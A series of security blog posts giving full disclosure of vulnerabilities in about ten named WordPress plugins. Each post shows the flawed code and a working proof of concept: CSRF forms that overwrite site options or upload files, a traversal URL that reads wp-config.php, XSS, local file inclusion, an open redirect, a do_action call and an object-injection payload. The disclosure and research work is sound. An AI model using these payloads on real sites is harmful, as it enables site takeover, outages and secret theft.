12 Dec

Our Proactive Monitor Caught Another Authenticated Option Update Vulnerability in a WordPress Plugin That Could Disable Websites

On Monday while disclosing another option update vulnerability we noted that in the wake of one of those being widely exploited recently we had focused on finding more of those vulnerabilities, while it appears no one else in the WordPress security has done that (maybe because they can get away with lying about failing to protect against the widely exploited one). And no sooner than the next day did we find yet another vulnerability. We spotted it during our proactive monitoring of changes being made to WordPress plugins to try to catch serious vulnerabilities when they are introduced in to plugins, though the vulnerable code was not flagged by the software that we use to identify possible issues for us to review, instead that had flagged another possible instance of that same type of vulnerability in the same code and when we went to manually review the code we found the issue.

While the vulnerability doesn’t appear to allow for takeover of a website, it would allow for anyone logged in to WordPress to disable the website with a single request. Since the plugin in question, Dokan, is only usable with the WooCommerce eCommerce plugin, which is often set to create WordPress accounts for those making orders, that means that many or most of the 10,000+ active installations of the plugins (according to wordpress.org) would be impacted. It could also be exploited by getting someone logged in to WordPress to access a page controlled by an attacker.

Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then only trying to notify the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that since a previously full disclosed vulnerability was quickly on hackers’ radar, but it appears those moderators have such disdain for the rest of the WordPress community that their continued ability to act inappropriate is more important that what is best for the rest of the community.

Technical Details

The plugin registers the function dismiss_upgrade_promo() to be accessible by anyone logged in to WordPress through its AJAX functionality:

35
add_action( 'wp_ajax_dokan-dismiss-upgrade-promotional-notice', array( $this, 'dismiss_upgrade_promo' ) );

That function, which is located in the file /lib/promotions.php, will update a WordPress option (setting) specified by the POST input “promo_key” to a value modified by the POST input “key”:

181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
public function dismiss_upgrade_promo() {
	if ( isset( $_POST['dokan_upgrade_promotion_dismissed'] ) && $_POST['dokan_upgrade_promotion_dismissed'] ) {
		$promo_option_key        = $_POST['promo_key'];
		$promo_last_display_time = $_POST['promo_key'] . '_displayed_time';
 
		$already_displayed_promo = get_option( $promo_option_key, array() );
 
		if ( ! isset( $already_displayed_promo[ $_POST['key'] ] ) ) {
			$already_displayed_promo[ $_POST['key'] ] = array(
				'display'        => 0,
				'last_displayed' => current_time( 'mysql' )
			);
		}
 
		update_option( $promo_option_key, $already_displayed_promo );

As we found when looking into another similar vulnerability, by replacing the “template” option with content like could be set with this you can disable the frontend and admin area of the website.

Since there is no check for a valid nonce, this could also be exploited through cross-site request forgery (CSRF).

Proof of Concept

The following proof of concept will break the website, when logged in to WordPress.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=dokan-dismiss-upgrade-promotional-notice" method="POST">
<input type="hidden" name="dokan_upgrade_promotion_dismissed" value="true" />
<input type="hidden" name="promo_key" value="template" />
<input type="hidden" name="key" value="test" />
<input type="submit" value="Submit" />
</form>
</body>
</html>
11 Dec

A New Addition to Our Proactive Monitoring Caught an Arbitrary File Viewing Vulnerability in a WordPress Plugin in Less Than a Day

Earlier today we noted in detailing an arbitrary file viewing vulnerability that had been fixed in a WordPress plugin that in looking at the code from that we made improvement to our detection of that type of vulnerability in our proactive monitoring of changes being made to  plugins to try to catch serious vulnerabilities when they are introduced in to plugin and our Plugin Security Checker. It didn’t even take a day before that improvement allowed us to spot an arbitrary file viewing vulnerability in the plugin WebP Express through that proactive monitoring. That type of vulnerability is likely to be exploited, though usually doesn’t cause website to be hacked.

This vulnerability is yet another good reason to check plugins you use through our Plugin Security Checker since it can alert you if plugins you use possibly contain a similar issue (and possibly contain a lot of other serious vulnerabilities). From there if you are a paying customer of our service you can suggest/vote for it to receive a security review that will check over that or you can order the same type of review separately.

Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then only trying to notify the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that since a previously full disclosed vulnerability was quickly on hackers’ radar, but it appears those moderators have such disdain for the rest of the WordPress community that their continued ability to act inappropriate is more important that what is best for the rest of the community.

Technical Details

The first code in the file /test/test-run.php will output the contents of a file specified by the GET input “stream-webp-image”:

3
4
5
if (isset($_GET['stream-webp-image'])) {
    header('Content-type: image/webp');
    if (@readfile($_GET['stream-webp-image']) === false) {

Using directory traversal any file on the website can be viewed.

Proof of concept

The following proof of concept will generate a file with the contents of the WordPress configuration file.

Make sure to replace “[path to WordPress]” with the location of WordPress.

http://[path to WordPress]/wp-content/plugins/webp-express/test/test-run.php?stream-webp-image=../../../../wp-config.php
06 Dec

Closure of Modula Image Gallery Leads to Disclosure of Authenticated Persistent Cross-Site Scripting (XSS) Vulnerability in It

Last week we started monitoring for closures of the 1,000 most popular WordPress plugins and that alerted to us the plugin Modula Image Gallery, which has 40,000+ active installations and was closed yesterday. There have been two new versions released since it was closed. The first 1.3.4 has a changelog entry of “wp.org review” and there are quite a few security related changes made in that version.

In a quick check over the code none of them stood as being obviously related to a vulnerability as opposed to general security improvement and no possible security issues were picked up with our Plugin Security Checker, so we moved on to installing a copy of version 1.3.3 and seeing if there were any easy to spot vulnerabilities we could see by checking things that way. We almost immediately found that the plugin has had an authenticated persistent cross-site scripting (XSS) vulnerability, but a closer look showed that part of this isn’t fixed as of version 1.3.5.

The plugin allows users with the “edit_posts” posts capability to create new photo galleries, so normally users with the Contributor and Author roles would be among those allowed to do that. Those users normally wouldn’t have the “unfiltered_html” capabilities so they shouldn’t be allowed post JavaScript code in to pages, but they are allowed to do just that due to the “Custom scripts” portion of the gallery configuration:

As of version 1.3.4 there is some sanitization done with that, which limits some JavaScript code from being entered, but as the proof of concept below shows, JavaScript code can still run.

Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then only trying to notify the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon).

Also we hope this type of public disclosure might teach the WordPress folks that closing plugins and then having the changes made public before they are reopened is counterproductive to their stated goal with the handling of security issues in plugins (in one recent incident it looks like it led to websites being hacked).

Proof of Concept

When you set the “Custom scripts” portion of the gallery to the following an alert box when any available cookies to be shown in an alert box on the page with the gallery’s shortcode:

alert(document.cookie);
06 Dec

Here Is Yet Another Vulnerability Spotted by Our Plugin Security Checker in the WordPress Plugin Ultimate Member

The WordPress plugin Ultimate Member was the cause of too many websites being hacked back in August, we say too many because the developer didn’t promptly fix a vulnerability that was being exploited for some inexplicable reason. It probably then isn’t surprising that as we improve our Plugin Security Checker, an automated tool that you can use to check if plugins you use have possible security issues that should be further looked into, that Ultimate Member keeps getting flagged for additional possible security issues.

So far it has already flagged a reflected cross-site scripting (XSS) vulnerability, another reflected cross-site scripting (XSS) vulnerability, and a cross-site request forgery (CSRF)/remote code execution vulnerability.

Last Monday we mentioned that we had introduced a new check to that tool that identifies the possibility of some open redirect vulnerabilities while discussing an instance of authenticated variant of that in a plugin, which like Ultimate Member has 100,000+ installations according to wordpress.org. An open redirect vulnerability allows a request to one page to be redirected to an arbitrary URL, which is something spammers have been known to abuse. As part of our work to continue to improved our tool we take a look at instances of plugins being flagged by new checks to see make sure nothing is going wrong with those checks. That led us to confirming yet another vulnerability in Ultimate Member, an authenticated open redirect vulnerability, which isn’t likely to be abused, but exists in part due to a basic security failure with the plugin, which was also part of the cause of the last vulnerability we mentioned that was in the plugin. The vulnerability has gone unnoticed for nearly four years, as it has been in the plugin since its first version.

Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then only trying to notify the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon).

Technical Details

The plugin registers the function logout_page() to run when redirects should occur:

22
add_action('template_redirect', array(&$this, 'logout_page'), 10000 );

When that function runs, if you are requesting the plugin’s frontend logout page, normally /logout/, and are logged in, it will logged you out and redirect you to address specified by the GET or POST input “redirect_to” using the function wp_redirect():

30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
function logout_page() {
 
	$language_code 		= '';
	$current_page_ID    = get_the_ID();
	$logout_page_id 	= UM()->config()->permalinks['logout'];
	$trid 				= 0;
 
	if ( is_home() /*|| is_front_page()*/ ) {
		return;
	}
 
	if ( UM()->external_integrations()->is_wpml_active() ) {
		global $sitepress;
		$default_lang = $sitepress->get_default_language();
		$language_code = $sitepress->get_current_language();
 
		if ( function_exists( 'icl_object_id' ) ) {
			$trid = icl_object_id( $current_page_ID, 'page', true, $default_lang );
		} else {
			$trid = wpml_object_id_filter( $current_page_ID, 'page', true, $default_lang );
		}
 
		if ( $language_code == $default_lang ) {
			$language_code = '';
		}
	}
 
	if ( um_is_core_page( 'logout' ) || ( $trid > 0 && $trid == $logout_page_id )  ) {
 
		if ( is_user_logged_in() ) {
 
			if ( isset( $_REQUEST['redirect_to'] ) && $_REQUEST['redirect_to'] !== '' ) {
				wp_logout();
				session_unset();
				exit( wp_redirect( $_REQUEST['redirect_to'] ) );

If the redirected address only be to an address on the same website, so what should be used there is wp_safe_redirect(), which only allows redirects to other addresses on the same website.

What also seems to be missing there is protection against cross-site request forgery (CSRF), as if you do a logout through WordPress it requires a valid nonce to do that, which is used to prevent CSRF.

Proof of Concept

The following proof of concept will redirect you to our homepage, when logged in to WordPress.

Make sure to replace “[path to WordPress]” with the location of WordPress.

http://[path to WordPress]/logout/?redirect_to=https://www.pluginvulnerabilities.com
06 Dec

Our Improved Proactive Monitoring Has Now Caught a Local File Inclusion (LFI) Vulnerability As Well

As we have noted already this week, we have just made a major improvement to our proactive monitoring of changes being made to WordPress plugins to try to catch serious vulnerabilities when they are introduced in to plugins, which built on code we had developed for our Plugin Security Checker, an automated tool you can use to check if plugins you use contain possible security issues. Again it has identified a fairly serious vulnerability, this time a local file inclusion (LFI) vulnerability in the plugin WP Payeezy Pay. This vulnerability has gone unnoticed for over two years.

This vulnerability is yet another good reason to check plugins you use through our Plugin Security Checker since it would already have notified you of this possible issue if you had check the plugin.

Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then only trying to notify the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon).

Technical Details

In the plugin’s files /donate.php, /donate-rec.php, /pay.php, and /pay-rec.php the first lines of code are:

2
3
$transactionKeyFile = $_POST["x_login"] . '.php';
include $transactionKeyFile;

That will append “.php” to the value of the POST input “x_login” and include it, which is local file inclusion (LFI) vulnerability.

Proof of Concept

The following proof of concept will cause a file named test.php in the root directory of the WordPress installation to be included.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-content/plugins/wp-payeezy-pay/donate.php" method="POST">
<input type="hidden" name="x_login" value="../../../test" />
<input type="submit" value="Submit" />
</form>
</body>
</html>
05 Dec

Our Improved Proactive Monitoring Already Caught Another Option Update Related Vulnerability in a WordPress Plugin

Yesterday we noted that our newly improved proactive monitoring of changes being made to WordPress plugins to try to catch serious vulnerabilities when they are introduced in to plugins, which built on code we had developed for our Plugin Security Checker, an automated tool you can use to check if plugins you use contain possible security issues, had already caught a fairly serious vulnerability, one that could leave a website fully disabled. That vulnerability was yet another vulnerability due to insecure usage of the update_option() function that we have found in the wake of one of those being widely exploited. Today that monitoring caught a more serious vulnerability related to that function, since this vulnerability could be use to take full control of websites and while it requires the attacker to logged in to WordPress, the plugin in question, ARMember Lite, is a membership plugin, so it would be on websites that would probably allow for user registration.

This vulnerability is yet another good reason to check plugins you use through our Plugin Security Checker since it would already have notified you of this possible issue. It is flagging a huge amount of other possible security issues in the plugin, so anyone using it that is concerned about security would be best to make sure someone that has the proper skill sets further reviews the plugin and checks if there are other security issues that need to be fixed in the plugin. Paying customers of our service can suggest/vote for plugins to receive a security review from us. We also offer security reviews of a plugin separately from our service.

Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then only trying to notify the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon).

Technical Details

The plugin registers the function arm_update_feature_settings() to be accessible to anyone logged in to WordPress through WordPress’ AJAX functionality:

52
add_action('wp_ajax_arm_update_feature_settings', array(&$this, 'arm_update_feature_settings'));

In that function, in the file /core/classes/class.arm_global_settings.php, the value of the POST input “arm_features_options” is set to the variable $features_options:

3004
3005
3006
3007
3008
function arm_update_feature_settings() {
	global $wp, $wpdb, $wp_rewrite, $ARMember;
	$response = array('type' => 'error', 'msg' => __('Sorry, Something went wrong. Please try again.', 'ARMember'));
	if (!empty($_POST['arm_features_options'])) {
		$features_options = $_POST['arm_features_options'];

Later in the code the value of the POST input “arm_features_status” is set to the variable $arm_features_status and then both of the variables taken from user input are passed to update_option():

3044
3045
$arm_features_status = (!empty($_POST['arm_features_status'])) ? $_POST['arm_features_status'] : 0;
update_option($features_options, $arm_features_status);

What hackers  have done with this type of vulnerability going back at least a couple of years is to change the WordPress options (settings) to allow user registration (though in the case of website using this plugin that may already been enabled) and set it so new accounts are set to have the Administrator role, which gives new accounts control of the website.

Proof of Concept

The following proof of concept will turn on user registration, when logged in to WordPress.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=arm_update_feature_settings" method="POST">
<input type="hidden" name="arm_features_options" value="users_can_register" />
<input type="hidden" name="arm_features_status" value="1" />
<input type="submit" value="Submit" />
</form>
</body>
</html>
04 Dec

Our Proactive Monitoring Caught a WordPress Plugin Vulnerability That Could Cause a Website to be Fully Disabled

Back in June of last year we started doing proactive monitoring of changes being made to WordPress plugins to try to catch serious vulnerabilities when they are introduced in to plugins. Elements of that then became part of the basis of our Plugin Security Checker, an automated tool any one can use to check for possible security issues in plugins, which was introduced in October of last year. This week we replaced the previous system we had for handling the initial checking done as part of the proactive monitoring before a human becomes involved, with an expanded system that now incorporates more complex checking based off of code already included with the Plugin Security Checker. Just days into using that is has already help to detect a pretty nasty vulnerability in the plugin Smart Marketing SMS and Newsletters Forms, though one that looks like it could be used to knock a website offline, but not hack the website to gain control of it. The vulnerability is another one involving usage of the option_update() WordPress function that we have spotted recently, that function has recently been involved in the hacking of websites running WP GDPR Compliance and likely  Kiwi Social Share as well.

Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then only trying to notify the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon).

Technical Details

In the file /admin/partials/egoi-for-wp-admin-forms.php there is code that checks if the POST input “action” exists and then passes user input to the update_option() function:

11
12
13
14
15
16
17
if(isset($_POST['action']) && ($_POST['action'])) {
 
	$post = $_POST;
	$post['egoi_form_sync']['form_content'] = htmlentities($_POST['egoi_form_sync']['form_content']);
	$egoiform = $post['egoiform'];
 
	update_option($egoiform, $post);

While you can update arbitrary options with that based on the POST input “egoiform”, the new value of option will be all the POST input from the request, limiting the impact of what can be done with that. Though, as we found when looking into another similar vulnerability, by replacing the “template” option with content like could be set with this you can disable the frontend and admin area of the website.

The file /admin/partials/egoi-for-wp-admin-integrations.php contain nearly identical code.

The file /admin/partials/egoi-for-wp-admin-forms.php is loaded by the function display_plugin_subscriber_form() if a user has the “manage_options” capability:

295
296
297
298
299
300
public function display_plugin_subscriber_form() {
 
	if (!current_user_can('manage_options')) {
		wp_die('You do not have sufficient permissions to access this page.');
	} else {
		include_once( 'partials/egoi-for-wp-admin-forms.php' );

That in turn is run when the Capture Contacts admin page of the plugin is accessed:

228
add_submenu_page($this->plugin_name, __('Capture Contacts', 'egoi-for-wp'), __('Capture Contacts', 'egoi-for-wp'), $capability, 'egoi-4-wp-form', array($this, 'display_plugin_subscriber_form'));

Accessing that admin page also requires the “manage_options” capability. Normally only users with the Administrator role have that capability and they have the ability to do just about whatever they want so by itself they ability to update arbitrary options wouldn’t be a vulnerability. Where this becomes a vulnerability is that there isn’t any check in this code for a valid nonce, which would prevent cross-site request forgery (CSRF). So if an attacker could get a logged in Administrator to access a page they control they could cause the Administrator to exploit this without intending it.

Proof of Concept

The following proof of concept will break the website, when logged in to WordPress as an Administrator.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin.php?page=egoi-4-wp-form" method="POST">
<input type="hidden" name="action" value="test" />
<input type="hidden" name="egoiform" value="template" />
<input type="submit" value="Submit" />
</form>
</body>
</html>
03 Dec

Our Proactive Monitoring Caught a CSRF/Arbitrary File Upload Vulnerability in Security Related WordPress Plugin

A few weeks ago we full disclosed a fairly serious vulnerability in a security plugin with 70,000+ installs designed to log WordPress user activity (probably in large due part to the people on the WordPress side of things, that vulnerability hasn’t been fixed so far), through our our proactive monitoring of changes made to plugins in the Plugin Directory to try to catch serious vulnerabilities we run across another logging plugin, WatchMan-Site7, that has a vulnerability of its own. Through the vulnerability an attacker that could get a logged in Administrator to access a page they control could cause a malicious file to be uploaded on the website and from they could almost anything with the website.

Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then only trying to notify the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon).

Technical Details

The plugin runs the function wms7_visit_manager() when visiting it’s main admin page, which is accessible to users with the Administrator role and the “activate_plugins” capability (which normally only Administrators have):

589
590
if ( 'administrator' === $role || 'analyst_wms7' === $role ) {
	add_menu_page( esc_html( 'Visitors', 'watchman-site7' ), esc_html( 'Visitors', 'watchman-site7' ), 'activate_plugins', 'wms7_visitors', array( $this, 'wms7_visit_manager' ), 'dashicons-shield', '71' );

In the function wms7_visit_manager(), which is located in the file /class-wms7-core.php, if the POST input “mail_new_send” exists then the function wms7_mail_send() runs:

2682
2683
2684
2685
2686
2687
2688
$_mail_new_send = filter_input( INPUT_POST, 'mail_new_send', FILTER_SANITIZE_STRING );
if ( $_mail_new_send ) {
	$val        = get_option( 'wms7_main_settings' );
	$select_box = $val['mail_select'];
	$box        = $val[ $select_box ];
	$str_head   = 'e-mail box: ' . $box['mail_box_name'];
	wms7_mail_send();

In the function wms7_mail_send(), which is in the file /includes/wms7-mail.php, files sent with the request are set to the variable $_files_attach:

389
390
$_files_attach     = filter_var_array( $_FILES );// WPCS: input var ok.
$_files_attach     = $_files_attach['mail_new_attach'];

Then later in the function the file is saved to the filesystem:

426
427
428
if ( '' !== $_files_attach['name'] ) {
	$file = $_document_root . $path_tmp . $_files_attach['name'];
	move_uploaded_file( $_files_attach['tmp_name'], $file );

By default we found it is saved to the root directory of the website.

There is no restriction on what types of files can be uploaded through that.

No where in that code is a check for a valid nonce, so the arbitrary upload functionality can be exploited through cross-site request forgery (CSRF).

It also looks like the same code could be used to send emails from the website as well.

Proof of Concept

The following proof of concept will upload the selected file to the directory /, when logged in to WordPress as Administrator.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin.php?page=wms7_visitors" method="POST" enctype="multipart/form-data">
<input type="hidden" name="mail_new_send" value="true" />
<input type="hidden" name="mail_new_to" value="test@example.com" />
<input type="file" name="mail_new_attach" />
<input type="submit" value="Submit" />
</form>
</body>
</html>
30 Nov

Our Proactive Monitoring Caught a Remote Code Execution (RCE) Vulnerability in the WordPress Plugin PropertyHive

With the recently widely exploited WordPress plugin WP GDPR Compliance there were two serious vulnerabilities that were fixed before one of them was widely exploited, there was also another issue that was fixed and brought up in passing at the time, but we were left unclear as the seriousness of, that being ability to pass arbitrary values to the do_action() WordPress function. We really should put a post on what we found when we went to look further in to that, but the short version is that it looks like at least with what code you can cause to execute from WordPress, that this is threat looks to be somewhat limited and even more limited if user input is only used to specify the action to be executed and not additional arguments. But in any case that type of issue would be a remote code execution (RCE) vulnerability, so we updated a check included in our proactive monitoring of changes made to plugins in the Plugin Directory to try to catch serious vulnerabilities and Plugin Security Checker to spot possible instances of that type of vulnerability. That led to us spotting an instance of the vulnerability in the plugin PropertyHive through our proactive monitoring.

This vulnerability has been in the plugin for 18 months without being noticed before.

You can check if plugins you use possibly have the same issue or a number of other possible security issues with the previously mentioned Plugin Security Checker.

Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then only trying to notify the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon).

Technical Details

The plugin makes the function run_custom_email_log_cron() accessible to anyone as it runs during admin_init, which occurs when accessing the right page even if someone is not logged in to WordPress (in the file /includes/class-ph-emails.php):

74
add_action( 'admin_init', array( $this, 'run_custom_email_log_cron' ), 10, 1 );

The code in that will pass the value of the GET input “custom_email_log_cron” through do_action() if that input exists:

77
78
79
80
81
82
83
public function run_custom_email_log_cron()
{
	if( isset($_GET['custom_email_log_cron']) )
	{
		do_action($_GET['custom_email_log_cron']);
	}
}

Proof of Concept

The following proof of concept will cause the WordPress action/function do_feed_rss to run.

Make sure to replace “[path to WordPress]” with the location of WordPress.

http://[path to WordPress]/wp-admin/admin-post.php?custom_email_log_cron=do_feed_rss
28 Nov

It Would Be a Good Idea for WordPress Plugin Developers to Check Their Plugins with Our Plugin Security Checker

Yesterday we noted that the developer of the WordPress security plugin Security Ninja plugin isn’t doing a great job with the security of their plugins. In the latest example, they could have spotted an issue before we are publicly disclosing it by simply checking the plugin with our Plugin Security Checker, which identifies possible security issues in WordPress plugins. While looking into the details of another instance of them fixing a vulnerability we had identified in one of their plugins while working on an improvement to the Plugin Security Checker, this time with the plugin Nifty Coming Soon & Maintenance page we ran the plugin through our tool and saw that it got flagged for possibly including a vulnerable version of the plugin Option Tree:

The vulnerability being referred to there is one we disclosed on November 6 after looking into the plugin due to its inclusion in another plugin.

A quick check confirmed that this plugin also contains an authenticated PHP object injection vulnerability due to that.

This plugin loads the file containing the vulnerable code from Option Tree near the end of its main file:

280
require_once 'admin/ot-loader.php';

From there you get to an authenticated PHP object injection that is normally exploitable by users with the Contributor role and above, due to the code explained in the previous post.

Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then only trying to notify the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon).

Plugin developers can avoid issues like this being disclosed by checking their plugins with the Plugin Security Checker and fixing any possible issues that turn out to be vulnerabilities. While the tool certainly can’t identify every security vulnerability in a plugin, it can help them to avoid a lot of easier to spot issues.

Proof of Concept

With our plugin for testing for PHP object injection installed and activated, the following proof of concept will cause the message “PHP object injection has occurred.” be shown, when logged in to WordPress.

Make sure to replace “[path to WordPress]” with the location of WordPress and “[nonce]” with a valid nonce. The valid nonce can be found in the source code of the page to create or edit a post on the line that starts “var option_tree”.

http://[path to WordPress]/wp-admin/admin-ajax.php?action=add_list_item&nonce=[nonce]&settings=TzoyMDoicGhwX29iamVjdF9pbmplY3Rpb24iOjA6e30=